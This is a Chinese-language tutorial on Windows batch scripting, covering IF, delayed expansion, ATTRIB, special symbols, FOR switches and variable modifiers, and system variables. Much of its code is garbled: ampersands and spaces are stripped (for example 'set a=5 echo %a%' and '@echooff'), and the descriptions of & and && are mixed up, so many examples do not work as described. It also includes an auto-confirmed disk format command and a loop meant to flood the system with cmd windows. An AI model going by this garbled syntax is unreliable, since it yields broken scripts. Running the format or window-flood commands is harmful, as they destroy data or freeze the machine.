if [NOT] [string1]==[string2] command
if [NOT] \"string1\"==\"string2\" command
這種寫法實際上將括號或引號當成字符串的一部分了,只要等號左右兩邊一致就行了,比如下面的寫法就不行:
if {string1}==[string2] command
(3) IF [NOT] EXIST filename command
EXIST filename為文件或目錄存在的意思
echo off
IF EXIST autoexec.bat echo 文件存在!
IF not EXIST autoexec.bat echo 文件不存在!
這個批處理大家可以放在C盤和D盤分別執行,看看效果

?

16、setlocal 與 變量延遲

本條內容引用[英雄出品]的批處理教程:
要想進階,變量延遲是必過的一關!所以這一部分希望你能認真看。
為了更好的說明問題,我們先引入一個例子。
例1:
@echo off
set a=4
set a=5 echo %a%
pause
結果:4
解說:為什么是4而不是5呢?在echo之前明明已經把變量a的值改成5了?
讓我們先了解一下批處理運行命令的機制:
批處理讀取命令時是按行讀取的(另外例如for命令等,其后用一對圓括號閉合的所有語句也當作一行),
在處理之前要完成必要的預處理工作,這其中就包括對該行命令中的變量賦值。
我們現在分析一下例1,批處理在運行到這句“set a=5 echo %a%”之前,先把這一句整句讀取并做了預處理——對變量a賦了值,
那么%a%當然就是4了!(沒有為什么,批處理就是這樣做的。)
而為了能夠感知環境變量的動態變化,批處理設計了變量延遲。
簡單來說,在讀取了一條完整的語句之后,不立即對該行的變量賦值,而會在某個單條語句執行之前再進行賦值,
也就是說“延遲”了對變量的賦值。
那么如何開啟變量延遲呢?變量延遲又需要注意什么呢?舉個例子說明一下:
例2:
@echo off
setlocal enabledelayedexpansion
set a=4
set a=5 echo !a!
pause
結果:5
解說:啟動了變量延遲,得到了正確答案。變量延遲的啟動語句是“setlocal enabledelayedexpansion”,
并且變量要用一對嘆號“!!”括起來(注意要用英文的嘆號),否則就沒有變量延遲的效果。
分析一下例2,首先“setlocal enabledelayedexpansion”開啟變量延遲,然后“set a=4”先給變量a賦值為
4,“set a=5 echo !a!”這句是給變量a賦值為5并輸出
(由于啟動了變量延遲,所以批處理能夠感知到動態變化,即不是先給該行變量賦值,
而是在運行過程中給變量賦值,因此此時a的值就是5了)。
再舉一個例子鞏固一下。
例3:
@echo off
setlocal enabledelayedexpansion
for /l %%i in (1,1,5) do (
set a=%%i
echo !a!
)
pause
結果:
1
2
3
4
5
解說:本例開啟了變量延遲并用“!!”將變量擴起來,因此得到我們預期的結果。如果不用變量延遲會出現什
么結果呢?結果是這樣的:
ECHO 處于關閉狀態。
ECHO 處于關閉狀態。
ECHO 處于關閉狀態。
ECHO 處于關閉狀態。
ECHO 處于關閉狀態。
即沒有感知到for語句中的動態變化。
提示:在沒有開啟變量延遲的情況下,某條命令行中的變量改變,必須到下一條命令才能體現。這一點也可以加以利用,看例子。
例:交換兩個變量的值,且不用中間變量
@echo off
::目的:交換兩個變量的值,但是不使用臨時變量
::Code by JM 2007-1-24 [url=mailto:CMD@XP]CMD@XP[/url]
::出處:http://www.cn-dos.net/forum/viewthread.php?tid=27078
set var1=abc
set var2=123
echo 交換前: var1=%var1% var2=%var2%
set var1=%var2% set var2=%var1%
echo 交換后: var1=%var1% var2=%var2%
pause

?

17、ATTRIB顯示或更改文件屬性

ATTRIB [+R|-R] [+A|-A] [+S|-S] [+H|-H] [[drive:] [path] filename] [/S [/D]]
? ? + ? ?設置屬性。
? ? - ? ?清除屬性。
? ? R ? ?只讀文件屬性。
? ? A ? ?存檔文件屬性。
? ? S ? ?系統文件屬性。
? ? H ? ?隱藏文件屬性。
? ? [drive:][path][filename] ? ?指定要處理的文件屬性。
? ? /S ? ?處理當前文件夾及其子文件夾中的匹配文件。
? ? /D ? ?也處理文件夾。

例:
? ? ? ? md autorun
? ? ? ? attrib +a +s +h autorun
上面的命令將建立文件夾 autorun,然后將其設為存檔、系統、隱藏屬性

?

第二節 常用特殊符號

1、@命令行回顯屏蔽符 2、%批處理變量引導符 3、> 重定向符 4、>>重定向符 5、<、>、<& 重定向符 6、|命令管道符 7、^轉義字符 8、組合命令 9、& 組合命令 10、||組合命令 11、\"\"字符串界定符 12、, 逗號 13、; 分號 14、() 括號 15、! 感嘆號

批處理中可能會見到的其它特殊標記符: (略)
  CR(0D) 命令行結束符
  Escape(1B) ANSI轉義字符引導符
  Space(20) 常用的參數界定符
  Tab(09) ; = 不常用的參數界定符
  + COPY命令文件連接符
  * ? 文件通配符
  / 參數開關引導符
  : 批處理標簽引導符
  廢話少說,開講了

1、@ 命令 :?行回顯屏蔽符
  這個字符在批處理中的意思是關閉當前行的回顯。我們從前幾課知道
  ECHO OFF可以關閉掉整個批處理命令的回顯,但不能關掉ECHO OFF這個命令,
? ? ? ? 現在我們在ECHO OFF這個命令前加個@,就可以達到所有命令均不回顯的要求

2、%? :批處理變量引導符

  這個百分號嚴格來說是算不上命令的,它只是批處理中的參數而已(多個%一起使用的情況除外,以后還將詳細介紹)。
  引用變量用 %var%,調用程序外部參數用 %1 至 %9 等等
  %0、%1、%2、%3、%4、%5、%6、%7、%8、%9、%* 為命令行傳遞給批處理的參數
  %0? ? ?批處理文件本身,包括完整的路徑和擴展名
  %1? ? ?第一個參數
  %9? ? ?第九個參數
  %*? ? ?從第一個參數開始的所有參數
  參數 %0 具有特殊的功能,可以調用批處理自身,以達到批處理本身循環的目的,也可以復制文件自身等等。

  例:最簡單的復制文件自身的方法
  ? ? ? ?copy %0 d:\\wind.bat

  小技巧:添加行內注釋
  %注釋內容%(可以用作行內注釋,不能出現重定向符號和管道符號)
  為什么這樣呢?此時“注釋內容”其實被當作變量,其值是空的,故只起注釋作用。
? ? ? ?不過這種用法容易出現語法錯誤,一般不用。

3、>? :重定向符

  輸出重定向命令。
  這個字符的意思是傳遞并且覆蓋,他所起的作用是將運行的結果傳遞到后面的范圍
? ? ? ?(后邊可以是文件,也可以是默認的系統控制臺)
  在NT系列命令行中,重定向的作用范圍由整個命令行轉變為單個命令語句,受到了命令分隔符,&&,||和語句塊的制約限制。

  比如:
? ?  ? ?  使用命令:echo hello >1.txt將建立文件1.txt,內容為”hello “(注意行尾有一空格)
 ? ?  ? ? 使用命令:echo hello>1.txt將建立文件1.txt,內容為”hello“(注意行尾沒有空格)

4、>> :重定向符

  輸出重定向命令
  這個符號的作用和>有點類似,但他們的區別是>>是傳遞并在文件的末尾追加,而>是覆蓋
  用法同上
  同樣拿 1.txt 做例子
  使用命令:
  ? ? ? ? echo hello > 1.txt
? ? ? ?   echo world >>1.txt
  這時候1.txt 內容如下:
  hello
  world

5、<、>、<&? ?:重定向符

  這三個命令也是管道命令,但它們一般不常用,你只需要知道一下就ok了。? ? ? ?
  <,輸入重定向命令,從文件中讀入命令輸入,而不是從鍵盤中讀入。

  @echo off
  echo 2005-05-01>temp.txt
  date <TEMP.TXTdel temp.txt
  這樣就可以不等待輸入直接修改當前日期
  >,將一個句柄的輸出寫入到另一個句柄的輸入中。
  <,剛好和>&相反,從一個句柄讀取輸入并將其寫入到另一個句柄輸出中。
  常用句柄:0、1、2,未定義句柄:3—9
  1>nul 表示禁止輸出正確的信息
  2>nul 表示禁止輸出錯誤信息。
  其中的1與2都是代表某個數據流輸入輸出的地址(NT CMD 稱之為句柄,MSDOS稱之為設備)。
  句柄0:標準輸入stdin,鍵盤輸入
  句柄1:標準輸出stdout,輸出到命令提示符窗口(console,代碼為CON)
  句柄2:標準錯誤stderr,輸出到命令提示符窗口(console,代碼為CON)
  其中的stdin可被<重定向,stdout可被>、>>重定向。
  我們已經知道讀取文本中的內容可以用for命令,但如果只需要讀取第一行用for命令就有點麻煩。簡單的辦法如下:
  @echo off
  set /p str=<%0
  echo %str%
  pause
  運行顯示批處理文件自身的第一行:@echo off

6、| 命令 :管道符

  格式:第一條命令 | 第二條命令 [| 第三條命令...]
  將第一條命令的結果作為第二條命令的參數來使用,記得在unix中這種方式很常見。
  例如:
  dir c:\\|find \"txt\"
  以上命令是:查找C:\\所有,并發現TXT字符串。
  FIND的功能請用 FIND /? 自行查看
  在不使format的自動格式化參數時,我是這樣來自動格式化A盤的
  echo y|format a: /s /q /v:system
  用過format的都知道,再格盤時要輸入y來確認是否格盤,這個命令前加上echo y并用|字符來將echo y的結果傳給format命令
  從而達到自動輸入y的目的
  (這條命令有危害性,測試時請慎重)

7、^? :轉義字符

  ^ 是對特殊符號<,>,的前導字符,在命令中他將以上3個符號的特殊功能去掉,僅僅只把他們當成符號而不使用他們的特殊意義。
  比如
  echo test ^>1.txt
  結果則是:test > 1.txt
  他沒有追加在1.txt里,呵呵。只是顯示了出來
  另外,此轉義字符還可以用作續行符號。
  舉個簡單的例子:
  @echo off
  echo 英雄^
  是^
  好^
  男人
  pause
  不用多說,自己試一下就明白了。
  為什么轉義字符放在行尾可以起到續行符的作用呢?
? ? ? ? 原因很簡單,因為每行末尾還有一個看不見的符號,即回車符,轉義字符位于行尾時就讓回車符失效了,從而起到了續行的作用。

8、組合命令

  語法:第一條命令 第二條命令 [& 第三條命令...]
  、&&、||為組合命令,顧名思義,就是可以把多個命令組合起來當一個命令來執行。
? ? ? ? 這在批處理腳本里是允許的,而且用的非常廣泛。因為批處理認行不認命令數目。
  這個符號允許在一行中使用2個以上不同的命令,當第一個命令執行失敗了,也不影響后邊的命令執行。
  這里兩邊的命令是順序執行的,從前往后執行。
  比如:
  dir z:\\ dir y:\\ & dir c:\\
  以上命令會連續顯示z,y,c盤的內容,不理會該盤是否存在

9、&? :組合命令

  語法:第一條命令 & 第二條命令 [&& 第三條命令...]
  用這種方法可以同時執行多條命令,當碰到執行出錯的命令后將不執行后面的命令,如果一直沒有出錯則一直執行完所有命令
  這個命令和上邊的類似,但區別是,第一個命令失敗時,后邊的命令也不會執行
  dir z:\\ & dir y:\\ && dir c:\\

10、||? :組合命令

  語法:第一條命令 || 第二條命令 [|| 第三條命令...]
  用這種方法可以同時執行多條命令,當一條命令失敗后才執行第二條命令,當碰到執行正確的命令后將不執行后面的命令,
? ? ? ? 如果沒有出現正確的命令則一直執行完所有命令;
  提示:組合命令和重定向命令一起使用必須注意優先級
  管道命令的優先級高于重定向命令,重定向命令的優先級高于組合命令
  問題:把C盤和D盤的文件和文件夾列出到a.txt文件中??蠢?#xff1a;
  dir c:\\ & dir d:\\ > a.txt
  這樣執行后a.txt里只有D盤的信息!為什么?因為組合命令的優先級沒有重定向命令的優先級高!
? ? ? ? 所以這句在執行時將本行分成這兩部分:dir c:\\和dir d:\\ > a.txt,而并不是如你想的這兩部分:dir c:\\ & dir d:\\和> a.txt。
? ? ? ? 要使用組合命令&&達到題目的要求,必須得這么寫:dir c:\\ > a.txt & dir d:\\ >> a.txt
  這樣,依據優先級高低,DOS將把這句話分成以下兩部分:dir c:\\ > a.txt和dir d:\\ >> a.txt。
? ? ? ? 例十八中的幾句的差別比較特殊,值得好好研究體會一下。
  當然這里還可以利用命令(自己想一下道理哦):
  dir c:\\ > a.txt dir d:\\ >> a.txt

11、\"\"? :字符串界定符

  雙引號允許在字符串中包含空格,進入一個特殊目錄可以用如下方法
  cd \"program files\"
  cd progra~1
  cd pro*
  以上三種方法都可以進入program files這個目錄

12、,? :逗號

  逗號相當于空格,在某些情況下“,”可以用來當做空格使
  比如
  dir,c:\\

13、;? :分號

  分號,當命令相同時,可以將不同目標用;來隔離,但執行效果不變,如執行過程中發生錯誤,則只返回錯誤報告,但程序仍會執行。
? ? ? (有人說不會繼續執行,其實測試一下就知道了)
  比如:
  dir c:\\;d:\\;e:\\;z:\\
  以上命令相當于
  dir c:\\
  dir d:\\
  dir e:\\
  dir f:\\
  如果其中z盤不存在,運行顯示:系統找不到指定的路徑。然后終止命令的執行。
  例:dir c:\\;d:\\;e:\\1.txt
  以上命令相當于
  dir c:\\
  dir d:\\
  dir e:\\1.txt
  其中文件e:\\1.txt不存在,但e盤存在,有錯誤提示,但命令仍會執行。
  為什么?如果目標路徑不存在,則終止執行;如果路徑存在,僅文件不存在,則繼續執行。

14、()? :括號

  小括號在批處理編程中有特殊的作用,左右括號必須成對使用,括號中可以包括多行命令,這些命令將被看成一個整體,視為一條命令行。
  括號在for語句和if語句中常見,用來嵌套使用循環或條件語句,其實括號()也可以單獨使用,請看例子。
  例:
  命令:echo 1 echo 2 & echo 3
  可以寫成:
  (
  echo 1
  echo 2
  echo 3
  )
  上面兩種寫法效果一樣,這兩種寫法都被視為是一條命令行。
  注意:這種多條命令被視為一條命令行時,如果其中有變量,就涉及到變量延遲的問題。

15、!? :感嘆號

  沒啥說的,在變量延遲問題中,用來表示變量,即%var%應該表示為!var!,請看前面的setlocal命令介紹。

?

?

第二章? FOR命令詳解

?

? ? ? ? 如果有什么命令不懂,直接在CMD下面輸入:name /? 這樣的格式來看系統給出的幫助文件,比如 for /? 就會把FOR命令的幫助全部顯示出來!當然許多菜鳥都看不懂....所以才會有那么多批處理文章!!!!俺也照顧菜鳥,把FOR命令用我自己的方式說明下!

?

一、基本格式

  FOR %%variable IN (set) DO command [command-parameters]
  %%variable :指定 一個單一字母?表示可替換的參數。
  (set)? ? ? ? ? ? ?:指定一個或一組文件。可以使用通配符。
  command? ? :?指定對每個文件執行的命令。
  command-parameters :為特定命令指定參數或命令行開關。
  FOR? 還有4個參數 /d 、/l、 /r、 /f??
 

二、參數 /d僅為目錄

  FOR /D %%variable IN (set) DO command [command-parameters]
  如果集中包含通配符,則指定與目錄名匹配,而不與文件名匹配。
  如果 Set (也就是我上面寫的 \"相關文件或命令\") 包含通配符(* 和 ?),
? ? ? ? 將對與 Set 相匹配的每個目錄(而不是指定目錄中的文件組)執行指定的 Command。
  這個參數主要用于目錄搜索,不會搜索文件,看這樣的例子
  @echo off
  for /d %%i in (c:\\*) do echo %%i
  pause
  運行會把C盤根目錄下的全部目錄名字打印出來,而文件名字一個也不顯示!
  在來一個,比如我們要把當前路徑下文件夾的名字只有1-3個字母的打出來
  @echo off
  for /d %%i in (???) do echo %%i
  pause
  這樣的話如果你當前目錄下有目錄名字只有1-3個字母的,就會顯示出來,沒有就不顯示了
  這里解釋下*號和?號的作用,*號表示任意N個字符,而?號只表示任意一個字符
  知道作用了,給大家個思考題目!
  @echo off
  for /d %%i in (window?) do echo %%i
  pause
  保存到C盤下執行,會顯示什么呢?自己看吧! 顯示:windows
  /D參數只能顯示當前目錄下的目錄名字,這個大家要注意!

三、參數 /R遞歸(文件名)

  FOR /R [[drive:]path] %%variable IN (set) DO command [command-parameters]
  檢查以 [drive:]path 為根的目錄樹,指向每個目錄中的
  FOR 語句。如果在 /R 后沒有指定目錄,則使用當前
  目錄。如果集僅為一個單點(.)字符,則枚舉該目錄樹。
  遞歸
  上面我們知道,/D只能顯示當前路徑下的目錄名字,那么現在這個/R也是和目錄有關,他能干嘛呢?放心他比/D強大多了!
  他可以把當前或者你指定路徑下的文件名字全部讀取,注意是文件名字,有什么用看例子!
  請注意2點:
  1、set中的文件名如果含有通配符(?或*),則列舉/R參數指定的目錄及其下面的所用子目錄中與set相符合的所有文件,
    無相符文件的目錄則不列舉。
  2、相反,如果set中為具體文件名,不含通配符,則枚舉該目錄樹(即列舉該目錄及其下面的所有子目錄),
    而不set中的指定文件是否存在。這與前面所說的單點(.)枚舉目錄樹是一個道理,單點代表當前目錄,也可視為一個文件。
  例:
  @echo off
  for /r c:\\ %%i in (*.exe) do echo %%i
  pause
  咱們把這個BAT保存到D盤隨便哪里然后執行,我會就會看到,他把C盤根目錄,和每個目錄的子目錄下面全部的EXE文件都列出來了!!!!
  例:
  @echo off
  for /r %%i in (*.exe) do @echo %%i
  pause
  參數不一樣了吧!這個命令前面沒加那個C:\\也就是搜索路徑,這樣他就會以當前目錄為搜索路徑,比如你這個BAT你把他放在d:\\test目錄下執行,
  那么他就會把D:\\test目錄和他下面的子目錄的全部EXE文件列出來!!!
  例:
  @echo off
  for /r c:\\ %%i in (boot.ini) do echo %%i
  pause
  運行本例發現枚舉了c盤所有目錄,為了只列舉boot.ini存在的目錄,可改成下面這樣:
  @echo off
  for /r c:\\ %%i in (boot.ini) do if exist %%i echo %%i
  pause

? ? ? ? 用這條命令搜索文件真不錯。。。。。。
? ? ? ? 這個參數大家應該理解了吧!還是滿好玩的命令

四、參數 /L迭代數值范圍

? ? FOR /L %variable IN (start,step,end) DO command[command-parameters]
? ? 該集表示以增量形式從開始到結束的一個數字序列。
? ? 因此, (1,1,5) 將產生序列 12345, (5,-1,1) 將產生序列 (54321)。
? ? 使用迭代變量設置起始值 (Start#), 然后逐步執行一組范圍的值,直到該值超過所設置的終止值 (End#)。
? ??
?? ?/L 將通過對 Start# 與 End# 進行比較來執行迭代變量。
? ? 如果 Start# 小于 End#, 就會執行該命令。如果迭代變量超過 End#,則命令解釋程序退出此循環。
? ??
?? ?還可以使用負的Step# 以遞減數值的方式逐步執行此范圍內的值。
? ? 例如, (1,1,5) 生成序列 12345,而(5,-1,1) 則生成序列 (54321)。
? ??
?? ?看著這說明有點暈吧!咱們看例子就不暈了!

@echooff for /l %%i in (1,1,5) do @echo%%i pause

? ? 保存執行看效果,他會打印從12345 這樣5個數字
? ? (1,1,5)這個參數也就是表示從1開始每次加1直到5終止!? ??
?? ?看這個例子

? ? @echoofffor /l %%i in (1,1,5) do start cmdpause

?? ? 執行后是不是嚇了一跳,怎么多了 5個 CMD窗口,呵呵!如果把那個 (1,1,5)改成 (1,1,65535)
? ? 會有什么結果,我先告訴大家,會打開65535個CMD 窗口
? ? ....這么多你不死機算你強!
? ? 當然我們也可以把那個start cmd改成 md %%i 這樣就會建立指定個目錄了!!!名字為1-65535
? ? 看完這個被我賦予破壞性質的參數后,我們來看最后一個參數

----------------------------------------------------------------------------------------------------------------------

資料來源:?https://ss64.com/nt/cmd.html

在批處理文件中使用以下內容:

start cmd.exe /k "more-batch-commands-here"
要么
start cmd.exe /c "more-batch-commands-here"

/c執行由字符串指定的命令,然后終止?
/k執行由字符串指定的命令,但保持不變

有關 cmd /? 更多詳細信息,請參閱cmd.exe文檔。

命令字符串的正確格式化會使參數中的空格更復雜一些。
看下面的例子。請注意在一些示例中使用嵌套雙引號。

例子:

運行一個程序并傳遞一個文件名參數: CMD /c write.exe c:\docs\sample.txt
運行一個程序并傳遞一個長文件名: CMD /c write.exe "c:\sample documents\sample.txt"
程序路徑中的空間: CMD /c ""c:\Program Files\Microsoft Office\Office\Winword.exe""
程序路徑中的空間+參數: CMD /c ""c:\Program Files\demo.cmd"" Parameter1 Param2 CMD /k ""c:\batch files\demo.cmd" "Parameter 1 with space" "Parameter2 with space""

啟動demo1和demo2: CMD /c ""c:\Program Files\demo1.cmd" & "c:\Program Files\demo2.cmd""

for /L %%i in (1, 1, 10) do start cmd /k "cd e: && dir" pause

?

輸入一個數字,然后進入最后一個盤符上的 PythonSpider/maoyan 目錄,然后執行 scrapy crawl mao_yan_base_time 命令

@echo off FOR %%c in (Z,Y,X,W,V,U,T,S,R,Q,P,O,N,M,L,K,J,I,H,G,F,E,D,C) do (IF exist %%c: (set pan=%%cGOTO :point) ):point::@echo on set spider_path=PythonSpider/maoyan ::set /P loop=input spider number: set/P loop=input spider number:for /L %%i in (1, 1, %loop%) do start cmd /k "%pan%: && cd %spider_path% && scrapy crawl mao_yan_base_time" pause

?

五、參數 /F迭代及文件解析

\迭代及文件解析
使用文件解析來處理命令輸出、字符串及文件內容。使用迭代變量定義要檢查的內容或字符串,并使用各種options選項進一步修改解析方式。
使用 options令牌選項指定哪些令牌應該作為迭代變量傳遞。請注意:在沒有使用令牌選項時, /F 將只檢查第一個令牌。
文件解析過程包括讀取輸出、字符串或文件內容, 將其分成獨立的文本行以及再將每行解析成零個或更多個令牌。
然后通過設置為令牌的迭代變量值,調用 for 循環。默認情況下, /F 傳遞每個文件每一行的第一個空白分隔符號。跳過空行。
詳細的幫助格式為:
FOR /F["options"]%variable IN(file-set)DOcommand [command-parameters]
FOR /F["options"]%variable IN("string") DO command[command-parameters]
FOR /F["options"]%variable IN('command')DO command[command-parameters]
帶引號的字符串"options"包括一個或多個指定不同解析選項的關鍵字。
這些關鍵字為:
eol=c - 指一個行注釋字符的結尾(就一個)
skip=n - 指在文件開始時忽略的行數。
delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的默認分隔符集。
tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代的 for 本身。這會導致額外變量名稱的分配。
m-n 格式為一個范圍。通過 nth 符號指定 mth。
如果符號字符串中的最后一個字符星號,那么額外的變量將在最后一個符號解析之后分配并接受行的保留文本。
usebackq - 使用后引號(鍵盤上數字1左面的那個鍵`)。
未使用參數usebackq時: file-set表示文件,但不能含有空格
雙引號表示字符串,即"string"
單引號表示執行命令,即'command'
使用參數usebackq時: file-set和"file-set"都表示文件
當文件路徑或名稱中有空格時,就可以用雙引號括起來
單引號表示字符串,即'string'
后引號表示命令執行,即`command`
以上是用for/?命令獲得的幫助信息,直接復制過來的。
暈慘了!我這就舉個例子幫助大家來理解這些參數!
For命令例1:
****************************************
@echooff
rem 首先建立臨時文件test.txt
echo;注釋行,這是臨時文件,用完刪除 >test.txt
echo11段 12段 13段 14段 15段 16段 >>test.txt
echo21段,22段,23段,24段,25段,26段 >>test.txt
echo31段-32段-33段-34段-35段-36段 >>test.txt
FOR /F"eol=; tokens=1,3*delims=,- " %%iin (test.txt)do echo%%i%%j%%k
Pause
Del test.txt
運行顯示結果:
11段 13段 14段 15段 16段
21段 23段 24段,25段,26段
31段 33段 34段-35段-36段
請按任意鍵繼續.. .

為什么會這樣?我來解釋:
eol=; 分號開頭的行為注釋行
tokens=1,3* 將每行第1段,第 3段和剩余字段分別賦予變量%%i, %%j, %%k
delims=,- (減號后有一空格)以逗號減號和空格為分隔符,空格必須放在最后

For命令例2:
****************************************
@echooff
FOR /F"eol= delims=" %%iin (test.txt)do echo%%i
Pause運行將顯示test.txt全部內容,包括注釋行,不解釋了哈。
For命令例3: ****************************************
另外/F參數還可以以輸出命令的結果看這個例子
@echooff
FOR/F"delims="%%iin ('netuser')do@echo%%i
pause
這樣你本機全部帳號名字就出來了把擴號內的內容用兩個單引號引起來就表示那個當命令執行,
FOR會返回命令的每行結果,加那個"delims=" 是為了讓我空格的行能整行顯示出來,不加就只顯示空格左邊一列!
基本上講完了FOR的基本用法了...如果你看過FOR的系統幫助,你會發現他下面還有一些特
定義的變量,這些我先不講.大家因該都累了吧!你不累
我累啊...

?

?

第三章 FOR命令中的變量

?

一、 ~I- 刪除任何引號(\"),擴展 %I 二、 %~fI- 將 %I 擴展到一個完全合格的路徑名 三、 %~dI- 僅將 %I 擴展到一個驅動器號 四、 %~pI- 僅將 %I 擴展到一個路徑 五、 %~nI- 僅將 %I 擴展到一個文件名 六、 %~xI- 僅將 %I 擴展到一個文件擴展名 七、 %~sI- 擴展的路徑只含有短名 八、 %~aI- 將 %I 擴展到文件的文件屬性 九、 %~tI- 將 %I 擴展到文件的日期/時間 十、 %~zI- 將 %I 擴展到文件的大小 十一、 %~$PATH:I

FOR命令中有一些變量,他們的用法許多新手朋友還不太了解,今天給大家講解他們的用法!
先把FOR的變量全部列出來:
~I - 刪除任何引號("),擴展 %I
%~fI - 將 %I 擴展到一個完全合格的路徑名
%~dI - 僅將 %I 擴展到一個驅動器號
%~pI - 僅將 %I 擴展到一個路徑
%~nI - 僅將 %I 擴展到一個文件名
%~xI - 僅將 %I 擴展到一個文件擴展名
%~sI - 擴展的路徑只含有短名
%~aI - 將 %I 擴展到文件的文件屬性
%~tI - 將 %I 擴展到文件的日期/時間
%~zI - 將 %I 擴展到文件的大小
%~$PA TH:I - 查找列在路徑環境變量的目錄,并將 %I 擴展到找到的第一個完全合格的名稱。
如果環境變量名未被定義,或者沒有找到文件,此組合鍵會擴展到空字符串
我們可以看到每行都有一個大寫字母"I",這個 I其實就是我們在 FOR帶入的變量,
我們 FOR語句代入的變量名是什么,這里就寫什么.
比如:FOR /F %%zIN ('set')DO@echo%%z
這里我們代入的變量名是z那么我們就要把那個 I改成z,例如%~fI改為%~fz至于前面的%~p這樣的內容就是語法了!

好開始講解:
一、 ~I - 刪除任何引號("),擴展 %I
這個變量的作用就如他的說明,刪除引號!
我們來看這個例子:
首先建立臨時文件temp.txt,內容如下
"1111
"2222"
3333"
"4444"44
"55"55"55
可建立個BAT文件代碼如下:
@echooff
echo^"1111>temp.txt
echo"2222">>temp.txt
echo3333^">>temp.txt
echo"4444"44>>temp.txt
echo^"55"55"55>>temp.txt
rem 上面建立臨時文件,注意不成對的引號要加轉義字符^,重定向符號前不要留空格
FOR/F"delims="%%iIN(temp.txt)DO echo %%~i
pause
del temp.txt
執行后,我們看 CMD的回顯如下:
1111 #字符串前的引號被刪除了
2222 #字符串首尾的引號都被刪除了
3333" #字符串前無引號,后面的引號保留
4444"44 #字符串前面的引號刪除了,而中間的引號保留
55"55"55 #字符串前面的引號刪除了,而中間的引號保留
請按任意鍵繼續...
和之前 temp.txt中的內容對比一下,我們會發現第 1、 2、 5行的引號都消失了,這就是刪除引號~i的作用了!
刪除引號規則如下(BAT兄補充!)
1、若字符串首尾同時存在引號,則刪除首尾的引號;
2、若字符串尾不存在引號,則刪除字符串首的引號;
3、如果字符串中間存在引號,或者只在尾部存在引號,則不刪除。
龍卷風補充:無頭不刪,有頭連尾刪。

二、 %~fI - 將 %I 擴展到一個完全合格的路徑名看例子:
把代碼保存放在隨便哪個地方,我這里就放桌面吧.
FOR/F"delims=="%%iIN('dir/b')DO@echo %%~fi
pause
執行后顯示內容如下
C:\Documentsand Settings\Administrator\桌面\test.bat
C:\Documentsand Settings\Administrator\桌面\test.vbs
當我把代碼中的 %%~fi直接改成%%i
FOR/F"delims=="%%iIN('dir/b')DO@echo %%i
pause
執行后就會顯示以下內容:
test.bat
test.vbs
通過對比,我們很容易就看出沒有路徑了,這就是"將 %I 擴展到一個完全合格的路徑名"的作用
也就是如果%i變量的內容是一個文件名的話,他就會把這個文件所在的絕對路徑打印出來,
而不只單單打印一個文件名,自己動手動實驗下就知道了!

三、 %~dI - 僅將 %I 擴展到一個驅動器號
看例子:
代碼如下,我還是放到桌面執行!
FOR/F"delims=="%%iIN('dir/b')DO@echo %%~di
pause
執行后我CMD 里顯示如下
C:
C:
我桌面就兩個文件 test.bat,test.vbs,%%~di作用是,如果變量%%i的內容是一個文件或者目錄名,
他就會把他這文件或者目錄所在的盤符號打印出來!

四、 %~pI - 僅將 %I 擴展到一個路徑
這個用法和上面一樣,他只打印路徑不打印文件名字
FOR/F"delims=="%%iIN('dir/b')DO@echo %%~pi
pause
我就不打結果了,大家自己復制代碼看結果吧,下面幾個都是這么個用法,代碼給出來,大家自己看結果吧!

五、 %~nI - 僅將 %I 擴展到一個文件名只打印文件名字
FOR/F"delims=="%%iIN('dir/b')DO@echo %%~ni
pause

六、 %~xI - 僅將 %I 擴展到一個文件擴展名只打印文件的擴展名
FOR/F"delims=="%%iIN('dir/b')DO@echo %%~xi
pause

七、 %~sI - 擴展的路徑只含有短名打印絕對短文件名
FOR/F"delims=="%%iIN('dir/b')DO@echo %%~si
pause

八、 %~aI - 將 %I 擴展到文件的文件屬性打印文件的屬性
FOR/F"delims=="%%iIN('dir/b')DO@echo %%~ai
pause

九、 %~tI - 將 %I 擴展到文件的日期/時間打印文件建立的日期
FOR/F"delims=="%%iIN('dir/b')DO@echo %%~ti
pause

十、 %~zI - 將 %I 擴展到文件的大小打印文件的大小
FOR/F"delims=="%%iIN('dir/b')DO@echo %%~zi
pause
龍卷風補充:上面例子中的"delims=="可以改為"delims=",即不要分隔符

十一、 %~$PA TH:I - 查找列在路徑環境變量的目錄,并將 %I 擴展到找到的第一個完全合格的名稱。
如果環境變量名未被定義,或者沒有找到文件,此組合鍵會擴展到空字符串這是最后一個,和上面那些都不一樣,我單獨說說!
然后在把這些代碼保存為批處理,放在桌面。
@echooff
FOR/F"delims="%%iIN(“notepad.exe”) DOecho %%~$PA TH:i
pause
龍卷風補充:上面代碼顯示結果為C:\WINDOWS\system32\notepad.exe他的意思就在 PA TH變量里指定的路徑里搜索 notepad.exe文件,
如果有notepad.exe則會把他所在絕對路徑打印出來,沒有就打印一個錯誤!好了,FOR的的變量就介紹到這了

?

?

第四章 批處理中的變量

?

批處理中的變量分兩種:分別為 "系統變量" 和 "自定義變量"
?

一、系統變量

他們的值由系統將其根據事先定義的條件自動賦值,也就是這些變量系統已經給他們定義了值,
不需要我們來給他賦值,我們只需要調用而以! 我把他們全部列出來!
%ALLUSERSPROFILE% 本地 返回“ 所有用戶” 配置文件的位置。
%APPDATA% 本地 返回默認情況下應用程序存儲數據的位置。
%CD% 本地 返回當前目錄字符串。
%CMDCMDLINE% 本地 返回用來啟動當前的 Cmd.exe 的準確命令行。
%CMDEXTVERSION% 系統 返回當前的“ 命令處理程序擴展” 的版本號。
%COMPUTERNAME% 系統 返回計算機的名稱。
%COMSPEC% 系統 返回命令行解釋器可執行程序的準確路徑。
%DATE% 系統 返回當前日期。 使用與 date/t 命令相同的格式。由 Cmd.exe 生成。有關date 命令的詳細信息,請參閱 Date。
%ERRORLEVEL% 系統 返回上一條命令的錯誤代碼。通常用非零值表示錯誤。
%HOMEDRIVE% 系統 返回連接到用戶主目錄的本地工作站驅動器號。基于主目錄值而設置。用戶主目錄是在“ 本地用戶和組” 中指定的。
%HOMEPA TH% 系統 返回用戶主目錄的完整路徑。基于主目錄值而設置。用戶主目錄是在“ 本地用戶和組” 中指定的。
%HOMESHARE% 系統 返回用戶的共享主目錄的網絡路徑。基于主目錄值而設置。用戶主目錄是在“ 本地用戶和組” 中指定的。
%LOGONSERVER% 本地 返回驗證當前登錄會話的域控制器的名稱。
%NUMBER_OF_PROCESSORS% 系統 指定安裝在計算機上的處理器的數目。
%OS% 系統 返回操作系統名稱。 Windows2000 顯示其操作系統為 Windows_NT。
%PA TH% 系統 指定可執行文件的搜索路徑。%PA THEXT% 系統 返回操作系統認為可執行的文件擴展名的列表。
